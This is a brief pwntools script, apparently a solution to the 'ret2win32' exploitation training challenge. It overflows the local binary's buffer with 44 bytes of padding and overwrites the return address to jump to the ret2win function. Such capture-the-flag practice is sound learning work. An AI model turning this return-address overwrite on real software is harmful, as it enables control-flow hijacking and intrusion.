#!/usr/bin/env python3

from pwn import *

elf = ELF('./ret2win32')
p = process('./ret2win32')

win_addr = elf.symbols['ret2win']

payload = b'A'*44
payload += p32(win_addr)

p.recvuntil('> ')
p.sendline(payload)

print(p.recvall())
